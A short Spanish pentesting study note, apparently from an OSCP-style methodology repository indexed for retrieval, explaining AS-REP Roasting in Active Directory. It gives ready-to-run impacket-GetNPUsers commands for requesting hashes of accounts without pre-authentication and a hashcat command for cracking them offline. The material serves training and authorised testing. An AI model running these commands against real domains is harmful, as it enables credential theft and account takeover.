7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
817 B
817 B
AS-REP Roasting
Usuarios con "Do not require Kerberos pre-authentication" → pides su AS-REP y crackeas el hash, sin necesitar credenciales. Camino de Active Directory.
Ataque
# con lista de usuarios (sesión nula / enum previa con SMB):
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP
# con credenciales (enumera y pide a la vez):
impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
Crackeo offline
hashcat -m 18200 hashes.txt rockyou.txt
Diferencia con Kerberoasting
- AS-REP = usuarios SIN pre-auth → no necesitas password para pedir el hash.
- Kerberoasting = cuentas de servicio (SPN) → necesitas una credencial válida.
Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC